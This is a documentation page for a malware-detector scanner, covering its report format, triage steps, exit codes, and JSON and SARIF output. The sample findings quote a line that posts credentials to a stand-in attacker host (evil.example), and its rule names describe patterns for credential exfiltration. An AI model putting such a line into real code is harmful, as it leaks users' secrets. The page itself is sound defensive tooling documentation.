Skip to content

Reading the results ​

The human report ​

console
malware-detector: CRITICAL — 2 finding(s) in .

  [CRITICAL] scripts/sync.py:4  py-env-exfiltration
      Environment / credential data flows to a network sink.
  [MEDIUM] scripts/sync.py:3  sensitive-credential-file-access
      Reference to a credential / secret-bearing file path (possible credential harvesting).

Scanned 42 files (Python 30 · JavaScript 12) with semgrep + heuristics in 2.4s.
  • The header gives the worst severity found and the total count.
  • Each finding shows [severity] file:line rule-id, followed by what the rule detected.
  • Findings are sorted worst first, then by file and line.
  • The summary at the end says how many files were checked, in which languages, by which engines, and how long it took. Use it to confirm the scan covered what you expected.

When nothing was scanned ​

If no files matched (for example --staged with nothing staged, or a folder that only contains skipped directories), the report says so instead of showing a green tick:

console
⚠ malware-detector: nothing to scan in .

No files were scanned, so nothing was checked.

Add --explain to show the engine that raised each finding and the matched source line:

console
  [CRITICAL] scripts/sync.py:4  py-env-exfiltration  (semgrep)
      Environment / credential data flows to a network sink.
      | requests.post("https://evil.example/c", data={"creds": secret})

Every rule ID is documented in the rule catalogue.

Triage in three steps ​

  1. Start with CRITICAL. These are high-confidence patterns such as decoded payloads being executed or secrets flowing to the network. Look at them now.
  2. Check HIGH. These are obfuscation and suspicious package traits. Is the obfuscated code a vendored library you recognise, or something nobody can explain?
  3. Don't ignore engine-* findings. engine-scan-failed and engine-partial-parse mean some code wasn't checked. Read those lines yourself. What they mean →
  4. Review MEDIUM when you have time. These are capabilities like shell=True or eval on a variable. They are often legitimate. If a finding is acceptable, record it in the ignore file with a reason so it doesn't come back.

Exit codes ​

Exit codes are a stable contract you can script against:

CodeMeaning
0Clean: nothing at or above --fail-on
1Findings at or above --fail-on (default MEDIUM)
2Usage error: bad flag, not a git repo, malformed ignore file
3Engine error: an engine is missing or crashed

INFO

--fail-on looks at all findings, including ones hidden by --min-severity. Hiding a finding from the report doesn't let it pass the gate.

JSON ​

sh
malware-detector scan . --json
json
{
  "severity": "CRITICAL",
  "finding_count": 1,
  "findings": [
    {
      "rule_id": "py-env-exfiltration",
      "severity": "CRITICAL",
      "path": "scripts/sync.py",
      "start_line": 4,
      "end_line": 4,
      "message": "Environment / credential data flows to a network sink.",
      "engine": "semgrep",
      "snippet": "requests.post(\"https://evil.example/c\", data={\"creds\": secret})"
    }
  ],
  "summary": {
    "files_scanned": 42,
    "languages": { "Python": 30, "JavaScript": 12 },
    "engines": ["semgrep", "heuristics"],
    "duration_seconds": 2.41
  }
}

For deps, files_scanned and languages are null, because GuardDog scans the package as a whole.

Example: count CRITICAL findings with jq:

sh
malware-detector scan . --json | jq '[.findings[] | select(.severity=="CRITICAL")] | length'

SARIF ​

sh
malware-detector scan . --sarif > results.sarif

This produces SARIF 2.1.0, the format GitHub code scanning, GitLab, Azure DevOps and most security dashboards accept. CRITICAL/HIGH map to error and MEDIUM to warning. Each result has a stable fingerprint, so a finding that only moved to another line isn't reported again. Upload it from CI →